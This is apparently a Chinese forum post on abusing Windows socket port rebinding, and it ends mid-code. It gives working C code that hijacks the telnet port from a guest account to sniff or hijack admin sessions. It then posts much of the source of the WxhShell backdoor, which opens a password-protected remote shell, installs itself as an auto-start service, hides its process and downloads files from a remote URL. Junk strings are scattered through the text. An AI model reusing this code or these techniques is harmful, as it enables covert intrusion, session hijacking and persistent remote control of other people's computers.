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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hfQx$cv6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QYj8c]8f  
x8q3 Njr  
  saddr.sin_family = AF_INET; |r%lJmBB  
rW<sQ0   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $b=4_UroS  
s`E^1jC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u^NZsuak  
dOfEEqPI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pg:1AAhT[  
="=Aac#n`  
  这意味着什么?意味着可以进行如下的攻击: vx&r  
~:M"JNcs  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s)<^YASg  
m\O|BMHn  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %@9pn1,  
c4AkH|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 qJ8@A}}8  
Q $5U5hb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2&Hn%q)  
+o7Np| Ou  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !W3bHy:C"  
]BiLLDz(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 map#4\  
g k.c"$2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \Rff3$  
JDA:)[;  
  #include S_EN,2'e  
  #include L@t}UC  
  #include q;{# ~<"+  
  #include    Kf!8PR$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7[}K 2.W.  
  int main() Y::I_6[eV  
  { KNZN2N)wR  
  WORD wVersionRequested; ` e~nn  
  DWORD ret; Mw,7+  
  WSADATA wsaData; XKEd~2h<y  
  BOOL val; )1!jv!  
  SOCKADDR_IN saddr; Ous_269cM  
  SOCKADDR_IN scaddr; PIxd'B*MF  
  int err; A,4|UA?-  
  SOCKET s; d l<7jM?  
  SOCKET sc; 6I yD7PQ  
  int caddsize; ci~pM<+  
  HANDLE mt; 5`?'}_[Yj  
  DWORD tid;   MsL*\)*s  
  wVersionRequested = MAKEWORD( 2, 2 ); aOr'OeG(=e  
  err = WSAStartup( wVersionRequested, &wsaData ); $%ts#56*  
  if ( err != 0 ) { I8RPW:B;B  
  printf("error!WSAStartup failed!\n"); %1Pn;bUU!  
  return -1; hb_J. Q  
  } ?k7z 5ow  
  saddr.sin_family = AF_INET; RO?%0-6O&  
   -(Y(K!n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %Gk?f=e  
7Y>17=|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;[ag|YU$Y  
  saddr.sin_port = htons(23); cGVIO"(VP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j$TTLFK1  
  { X$<s@_#1  
  printf("error!socket failed!\n"); G?t<4MT v  
  return -1; & 1:_+  
  } 4)i(`/U  
  val = TRUE; ygA~d9"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WHM|kt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uN)o|7  
  { 6zGM[2  
  printf("error!setsockopt failed!\n");  3~mi  
  return -1; 9 Z 5!3  
  } !Xzne_V<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ? !dy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v9t26>{~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w>]?gN?8Fe  
eA$wJ$*   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0F495'*A  
  { _+vE(:T  
  ret=GetLastError(); T|{1,wP  
  printf("error!bind failed!\n"); gq^j-!Q)Q<  
  return -1; #nv =x&g  
  } Wt%+q{  
  listen(s,2); *h `P+_Q7  
  while(1) (pl|RmmDz  
  { aU)NbESu  
  caddsize = sizeof(scaddr); ZB5:FtW4  
  //接受连接请求 ky^p\dMh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g{_wMf  
  if(sc!=INVALID_SOCKET) aBN^J_  
  { ~rN:4Q]/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8?> #  
  if(mt==NULL) %rmn+L),;  
  { %)|pUa&  
  printf("Thread Creat Failed!\n"); LL}|# %4d  
  break; m4<5jC`-M  
  } [f?fA[, [  
  } BXCB/:0  
  CloseHandle(mt); r^m8kYezQ  
  } 8{t^< j$n  
  closesocket(s); |\lsTY&2  
  WSACleanup(); / X #4  
  return 0; l. 9 i `  
  }   ]f3eiHg*  
  DWORD WINAPI ClientThread(LPVOID lpParam) j!It1B  
  { lD%Fk3  
  SOCKET ss = (SOCKET)lpParam; M_+"RKp  
  SOCKET sc; {c;][>l  
  unsigned char buf[4096]; r? w^#V  
  SOCKADDR_IN saddr; i1OF @~?  
  long num; 4DYa~ =w  
  DWORD val; /s'7[bSv  
  DWORD ret; 3($cBC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $E j;CN59  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nkp,  
  saddr.sin_family = AF_INET; 5 +Ei! E89  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); us ,!U  
  saddr.sin_port = htons(23); /*zngp @  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )nK-39,G  
  { I:ag}L8`  
  printf("error!socket failed!\n"); EU@ BNja  
  return -1; RWe$ZZSz!  
  } 8%@![$q<g  
  val = 100; ?nLlZpZ2v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Cw*:`  
  { a+U^mPe  
  ret = GetLastError(); *CIR$sS  
  return -1; |B<;4ISaRI  
  } G<2OL#Y-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S[2uez`  
  { g?e$B}%  
  ret = GetLastError(); &$1ifG   
  return -1; ;yvx-  
  } -&Cb^$.-x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ","O8'$OC  
  { :?2@qWaL  
  printf("error!socket connect failed!\n"); YT*_ vmJV  
  closesocket(sc); [eb?Fd~WB]  
  closesocket(ss); {Tps3{|wt  
  return -1; J|uxn<E<>  
  } 5a`f % h%  
  while(1) 95wi~^^  
  { ji|+E`Nii  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OzVCqq"]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H'Oy._,]t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )}/ ycTs  
  num = recv(ss,buf,4096,0); ]tjQy1M  
  if(num>0) u["3| `C5  
  send(sc,buf,num,0); %`M IGi#  
  else if(num==0) ,R-T( <r  
  break; 0gLl>tF[H  
  num = recv(sc,buf,4096,0); _i/x4,=xv  
  if(num>0) _uYidtxo=  
  send(ss,buf,num,0); \4/zvlo]h  
  else if(num==0) z!M8lpI M  
  break;  4 Wb^$i!  
  } hLv~N}  
  closesocket(ss); SH009@l_8  
  closesocket(sc); wX!q dII)  
  return 0 ; Z~?1xJ&  
  } ^Uj\s /  
rT&rv^>f  
iFJ1}0<(x  
========================================================== R/_bk7o]H  
yobcAV`  
下边附上一个代码,,WXhSHELL UgVLHwkvk  
@26gP:Um  
========================================================== `/"rs@  
17 k9h?s*  
#include "stdafx.h" ccdP}|9e  
=T?:b8yV  
#include <stdio.h> 3.t j%+  
#include <string.h> *N C9S,eSP  
#include <windows.h> ]FQO@ y  
#include <winsock2.h> >!D^F]CH  
#include <winsvc.h> SJ4+s4!l <  
#include <urlmon.h> ,ce sQ ou  
<-]qU}-  
#pragma comment (lib, "Ws2_32.lib") JNJ96wnX1  
#pragma comment (lib, "urlmon.lib") u!B6';XY  
b%-S'@ew  
#define MAX_USER   100 // 最大客户端连接数 $+P6R`K  
#define BUF_SOCK   200 // sock buffer 4kNiS^h  
#define KEY_BUFF   255 // 输入 buffer I: L}7uA[t  
1iiQW  
#define REBOOT     0   // 重启 \[>Ob  
#define SHUTDOWN   1   // 关机 e #5LBSP  
'o!{YLJ fM  
#define DEF_PORT   5000 // 监听端口 _x2i=SFo*$  
,Vc>'4E-  
#define REG_LEN     16   // 注册表键长度 I<``d Ne9Q  
#define SVC_LEN     80   // NT服务名长度 9tMaOm  
^%qe&Pe2  
// 从dll定义API h:4Uv}Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~ \{a<-R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ki8;:m4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WLy%| {/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R [[ #r5q  
vGX}zzto  
// wxhshell配置信息 z AZ+'9LB  
struct WSCFG { '1 }ybSG  
  int ws_port;         // 监听端口  s-Z<  
  char ws_passstr[REG_LEN]; // 口令 k(]R;`f$W  
  int ws_autoins;       // 安装标记, 1=yes 0=no mnG\qsKNLK  
  char ws_regname[REG_LEN]; // 注册表键名 BQ;F`!Hx?  
  char ws_svcname[REG_LEN]; // 服务名 '#oNOU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j@Ta\a-,x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VqIzDs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }x9D;%)/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UqA<rW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }MiEbLduN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7eR%zNDa  
q;)+O#CR  
}; <Wwcd8d  
N,4. %|1  
// default Wxhshell configuration !lnRl8oV  
struct WSCFG wscfg={DEF_PORT, G2[? b2)8  
    "xuhuanlingzhe", )@Vz,f\}  
    1, k$ORVU  
    "Wxhshell", \{@n >Mh  
    "Wxhshell", Gkr]8J  
            "WxhShell Service", `xq/<U;i  
    "Wrsky Windows CmdShell Service", T[L7-5U0  
    "Please Input Your Password: ", I&Z4?K  
  1, Rt9S  
  "http://www.wrsky.com/wxhshell.exe", -Gyj]v5y`c  
  "Wxhshell.exe" PsMp &~^  
    }; 0D s W1  
'Zket=Sm;  
// 消息定义模块 #$^vP/"$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qf .ASC   
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,O'#7Dj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0#d:<+4D  
char *msg_ws_ext="\n\rExit."; 0DB8[#i%:  
char *msg_ws_end="\n\rQuit."; (>R   
char *msg_ws_boot="\n\rReboot..."; [Nw%fuB  
char *msg_ws_poff="\n\rShutdown..."; wyi%!H  
char *msg_ws_down="\n\rSave to "; E5+-N  
LK}*k/eG  
char *msg_ws_err="\n\rErr!"; &*nq.l76X`  
char *msg_ws_ok="\n\rOK!"; +@"Ls P  
e*!0|#-  
char ExeFile[MAX_PATH]; g.wDg  
int nUser = 0; Ifu[L&U  
HANDLE handles[MAX_USER]; u(Kof'p7  
int OsIsNt; sA|!b.q  
{@7xOOAw  
SERVICE_STATUS       serviceStatus; ~85>.o2RDW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e a3f`z  
t9\}!{<s  
// 函数声明 N fBH  
int Install(void); ?nCo?A  
int Uninstall(void); w2(pgWed  
int DownloadFile(char *sURL, SOCKET wsh); JGRL&MG4  
int Boot(int flag); unB`n'L  
void HideProc(void); nc[Kh8N9  
int GetOsVer(void); xo.k:F  
int Wxhshell(SOCKET wsl); zAkF:^#Y  
void TalkWithClient(void *cs); O}3|UI!`  
int CmdShell(SOCKET sock); !SPu9:  
int StartFromService(void); B'D\l\w  
int StartWxhshell(LPSTR lpCmdLine); Gv+$7{  
`bJ?8~ 8 *  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k E},>+W+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +}eH,  
k5@PZFV  
// 数据结构和表定义 h0oe'Xov  
SERVICE_TABLE_ENTRY DispatchTable[] = |\<L7|hb9  
{ E rrs6  
{wscfg.ws_svcname, NTServiceMain}, crbph.0  
{NULL, NULL} :?P>))vT%  
}; [q!/YL3 %  
Gpf9uj%  
// 自我安装 {~"fq.h!M  
int Install(void) Tv6HPD$[  
{ dI?x&#(vw  
  char svExeFile[MAX_PATH]; Fxx -2(U  
  HKEY key; V=de3k&p  
  strcpy(svExeFile,ExeFile); 0Lx,qZ'  
E'cI}q  
// 如果是win9x系统,修改注册表设为自启动 4G3u8)b=  
if(!OsIsNt) { EGysA{o"X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EpU}~vC9C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ow50M;E  
  RegCloseKey(key); WI6h G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X8\UTHT& 0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { u %xc"0y  
  RegCloseKey(key); %}}?Y`/W )  
  return 0; 0$BX8?Z  
    } 5rH?FQE  
  } sP~;i qk  
} Pq(7lua7  
else { 3%(,f,  
]R*h3U@5#K  
// 如果是NT以上系统,安装为系统服务 Y.b?.)u&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !!+LFe4su  
if (schSCManager!=0) ;wa#m1  
{ VD~ %6AjyN  
  SC_HANDLE schService = CreateService AaLbJYuKd  
  ( rcAPp  
  schSCManager, 9U4 D$M  
  wscfg.ws_svcname, g%_ 3  
  wscfg.ws_svcdisp, MS`XhFPS.  
  SERVICE_ALL_ACCESS, 0t(2^*I?>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TXS{=  
  SERVICE_AUTO_START, ^jE8 "G*  
  SERVICE_ERROR_NORMAL, p|>m 2(|  
  svExeFile, ;Sl%I+?  
  NULL, KsSIX  
  NULL, <)a7Nrc\T  
  NULL, SajasjE!^1  
  NULL, +n>p"+c  
  NULL ix_&os]L_  
  ); "9X1T]  
  if (schService!=0) 8gxo{<,9  
  { |)y-EBZe\"  
  CloseServiceHandle(schService); KP)t,\@f!  
  CloseServiceHandle(schSCManager); &)izh) FA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _%wB*u,X  
  strcat(svExeFile,wscfg.ws_svcname); `O]$FpO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sLd%m+*p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vc C"  
  RegCloseKey(key); ()W`4p  
  return 0; j;J`P H  
    } 6F_:,b^  
  } 5c0$oyl)M  
  CloseServiceHandle(schSCManager); 5VSc5*[  
} M=54xTh0Y  
} nyL$z-I)  
/V }Z,'+  
return 1; FA{'Ki`  
} meYGIP:n  
}t*:EgfI  
// 自我卸载 +GEdVB  
int Uninstall(void) 'iU+mRLp  
{ -_M':  
  HKEY key; ^fj30gw7\5  
A_Y5{6@  
if(!OsIsNt) { +E']&v$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iXLH[uhO;  
  RegDeleteValue(key,wscfg.ws_regname); y9U~4  
  RegCloseKey(key); >c$3@$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~U4Cf >  
  RegDeleteValue(key,wscfg.ws_regname); b$sT`+4q  
  RegCloseKey(key); |j4p  
  return 0; 30YH}b#B  
  } Ln8r~[tVE<  
} X]_9g[V  
} u{cb[M  
else { xYY^tZIV  
Y,?kS dS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d~q7!  
if (schSCManager!=0) n-{.7  
{ ?u5jX J0L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u%5 ,U-  
  if (schService!=0) \A6 }=  
  { _ BoA&Ism  
  if(DeleteService(schService)!=0) { PPde!}T$  
  CloseServiceHandle(schService); <tW/9}@p9  
  CloseServiceHandle(schSCManager); sB!6"D5  
  return 0; :<v@xOzxx  
  } q| UO]V  
  CloseServiceHandle(schService); ]*D~>q"#\  
  } 3G'cDemc  
  CloseServiceHandle(schSCManager); M5 P3;  
} yQ !keGj  
} Js(MzL  
/m4Y87  
return 1; l{Et:W%|  
} 8Vy/n^3)  
;(rK^*`fO  
// 从指定url下载文件 Lb?0<  
int DownloadFile(char *sURL, SOCKET wsh) I%{ 1K+V/  
{ LfJMSscfv  
  HRESULT hr; S0ReT*I  
char seps[]= "/"; OVE?;x>n/1  
char *token; rP#&WSLVj  
char *file; hcz!f  
char myURL[MAX_PATH]; `O!yt  
char myFILE[MAX_PATH]; bAld'z#  
mnx`e>0  
strcpy(myURL,sURL); ;M"[dy`dY  
  token=strtok(myURL,seps); rH'|$~a  
  while(token!=NULL) B>[myx  
  { jhkX U+4  
    file=token; tF\_AvL_8  
  token=strtok(NULL,seps); ANfy+@  
  } iu$Y0.H@  
nd[Ja_h  
GetCurrentDirectory(MAX_PATH,myFILE); l5D4 ?`|  
strcat(myFILE, "\\"); GcG$>&,  
strcat(myFILE, file); xEv?2n@A  
  send(wsh,myFILE,strlen(myFILE),0); `NNP}O2  
send(wsh,"...",3,0); =}0$|@pl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1@9M[_<n5  
  if(hr==S_OK) X`fm5y  
return 0; tBETNt7  
else :\C/mT3xL)  
return 1; h+S]C#X,}  
f ~bgZ  
} P0RtS1A  
>Bu _NoM  
// 系统电源模块 wxN&k$`a  
int Boot(int flag) S4rm K&  
{ DQ&\k'"\  
  HANDLE hToken; 0Hx'C^m72  
  TOKEN_PRIVILEGES tkp; _:FD#5BZ1  
)P,pW?h$  
  if(OsIsNt) { cM\BEh h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mex@~VK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P.jy7:dB,  
    tkp.PrivilegeCount = 1; %/BBl$~ji  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WO6+r?0M2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b;nqhO[f}  
if(flag==REBOOT) { bP,Ka  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >qUD_U3A  
  return 0; 1tTY )Evf  
} kh8 M=  
else { h>p,r\X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m}]QP\  
  return 0; MHGaf`7ro  
} ,c 0]r;u!  
  } 5bd4]1 gj  
  else { VV sE]7P ]  
if(flag==REBOOT) { Lhrlz,1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t^}"8  
  return 0; J4s`U/F  
} _Fe=:q  
else { Qz"//=hC|H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0#ON}l)>  
  return 0; J(A+mYr{:  
} KFy|,@NI  
} x![G'I  
m)]|mYjju  
return 1; +{}p(9w@  
} [&l+Ve(  
w2jB6NQX  
// win9x进程隐藏模块 zy.v[Y1!  
void HideProc(void) .-[]po  
{ 1#8~@CQ ::  
{Z1-B60P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :a:m>S<~  
  if ( hKernel != NULL ) LR'~:46#u  
  { ,Ek6X)|@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 19RbIG/X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %IDl+_j  
    FreeLibrary(hKernel); (`u+(M!^  
  } .4[M-@4+]  
ylDfr){  
return; @}uo:b:Q  
} 44KWS~  
Cv/3-&5S  
// 获取操作系统版本 Ns#L9T#  
int GetOsVer(void) !3o/c w9  
{ M'oQ<,yW-  
  OSVERSIONINFO winfo; ca,c+5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;yCtk ~T%  
  GetVersionEx(&winfo); n A%8 bZ+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XpA|<s  
  return 1; |CK/-UG}  
  else k^K%."INn  
  return 0; uKB V`I  
} : qV|rih_Q  
>S S^qjh/  
// 客户端句柄模块 A0Q1"b=  
int Wxhshell(SOCKET wsl) J7~Kjl  
{ )}vUYTU1  
  SOCKET wsh; tf1Y5P$  
  struct sockaddr_in client; Mko,((>I1  
  DWORD myID; }uO2 x@  
4{b/Nv:b  
  while(nUser<MAX_USER) v+dT7* ^@  
{ ha9 d z  
  int nSize=sizeof(client);  (C%qA<6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t+jdV  
  if(wsh==INVALID_SOCKET) return 1; NH1ak(zHW  
y5Fgf3P@ju  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LmUR@ /V Q  
if(handles[nUser]==0) ,S~A]uH'  
  closesocket(wsh); A5O;C  
else AboRuHQ  
  nUser++; fSGaUBiq}  
  } a)6?:nY$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }VVtv1  
faZc18M^1  
  return 0; ?}jjBJ&  
} e`)zR'As  
f9'dZ}B  
// 关闭 socket  q ^Gj IP  
void CloseIt(SOCKET wsh) Hl8\*#;C&>  
{ 5"+;}E|q  
closesocket(wsh); dbF9%I@  
nUser--; 5j _[z|W2  
ExitThread(0); ZJ[p7XP  
} "L9pFz</  
U]ZI_[\'U  
// 客户端请求句柄 \tdYTb.  
void TalkWithClient(void *cs) '[bw7T  
{ "tj]mij2)G  
[.;8GMW  
  SOCKET wsh=(SOCKET)cs; clM6R  
  char pwd[SVC_LEN]; -&QpQ7q1  
  char cmd[KEY_BUFF]; NIC.c3  
char chr[1]; 9D yy&$s  
int i,j; $us7fuKE  
lH"VLO2l  
  while (nUser < MAX_USER) { 1W9uWkk_d  
9FF  
if(wscfg.ws_passstr) { D@k#'KU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '2{60t_A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ntZHO}'  
  //ZeroMemory(pwd,KEY_BUFF); a!PN`N28  
      i=0; 8Z 0@-8vi  
  while(i<SVC_LEN) { )1O|+m k  
8{Vt8>4  
  // 设置超时 9v7}[`^  
  fd_set FdRead; =CaSd|   
  struct timeval TimeOut; B;Co`o2  
  FD_ZERO(&FdRead); AQc9@3T~Bi  
  FD_SET(wsh,&FdRead); :r&4/sN}<  
  TimeOut.tv_sec=8; V<d`.9*}  
  TimeOut.tv_usec=0; 'jKCAU5/0;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |;YDRI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VZ2CWE)t  
/ 6DW+!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %y)LBSxf  
  pwd=chr[0]; n5*m x7  
  if(chr[0]==0xd || chr[0]==0xa) { ZPHatC  
  pwd=0; y"zZ9HQM  
  break; G52z5-=v  
  } ]YB,K)WQ  
  i++; ~sCdvBA  
    } % "ZC9uq?  
zZ8:>2Ps(  
  // 如果是非法用户,关闭 socket X u>]$+u#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iF"kR]ZL  
} !'=< uU-  
i"{znKz vD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >}86#^F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  j 2e|  
P> 7PO~E.  
while(1) { c2yZvi  
Angt=q  
  ZeroMemory(cmd,KEY_BUFF); -V||1@ |  
85+w\KuEY  
      // 自动支持客户端 telnet标准   D]K?ntS[*  
  j=0; a!;K+wL >  
  while(j<KEY_BUFF) { 1c$c e+n~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AHLXmQl  
  cmd[j]=chr[0]; Lx3`.F\mG  
  if(chr[0]==0xa || chr[0]==0xd) {  L$[1+*  
  cmd[j]=0; U2(mWQ[mO  
  break; \%.&$z3wz  
  } *(nu0  
  j++; Bo/i =/7%  
    } 8ya|eJ]/L  
NHzVA*f  
  // 下载文件 YKa9]Q  
  if(strstr(cmd,"http://")) { 4o( Q+6m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p$6L_ *$  
  if(DownloadFile(cmd,wsh)) EOf*1/Ih  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qvRs1yr?q  
  else tSaD=#v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1( ]{tF  
  } H(Ad"1~.#  
  else { _(KzjOMt  
{)- 3g~  
    switch(cmd[0]) { q}J Eesf  
  /qXP\ a  
  // 帮助 E_K32) J-  
  case '?': { >7QC>ws%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gq)uv`3  
    break; 0Y*Ag ,S  
  } v0+$d\mP4<  
  // 安装 [<#`@Kr  
  case 'i': { <rNz&;m}  
    if(Install())  OF`:);  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aOW$H:b  
    else 5K$d4KT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sHHu<[psM  
    break; vNAQ/Q  
    } MNKY J  
  // 卸载 #vT~D>zj  
  case 'r': { R"e533  
    if(Uninstall()) ;x4yidb6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Njs'v;-K  
    else *0%G`Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n*N`].r#{=  
    break; \p J<@  
    } 6am<V]Hw0F  
  // 显示 wxhshell 所在路径 2B]mD-~  
  case 'p': { +InFv" wt  
    char svExeFile[MAX_PATH]; qApf\o3[0  
    strcpy(svExeFile,"\n\r"); Oa7jLz'i  
      strcat(svExeFile,ExeFile); uq@_DPA7  
        send(wsh,svExeFile,strlen(svExeFile),0); HQrx9CXE  
    break; 7]8apei|  
    } (EOYJHZB!  
  // 重启 vi0nJ -Xg  
  case 'b': { N`5 mPE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _(:bGI'.m  
    if(Boot(REBOOT)) x]|-2t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ba;tEF{X  
    else { lkgB,cflpi  
    closesocket(wsh); Yf x'7gj  
    ExitThread(0); ~ 6Hi"w  
    } ]Hrw$\Ky  
    break; ?uqPye1fc  
    } w0fFm"A|W  
  // 关机 4G=KyRKh  
  case 'd': { O@,9a~Ghd  
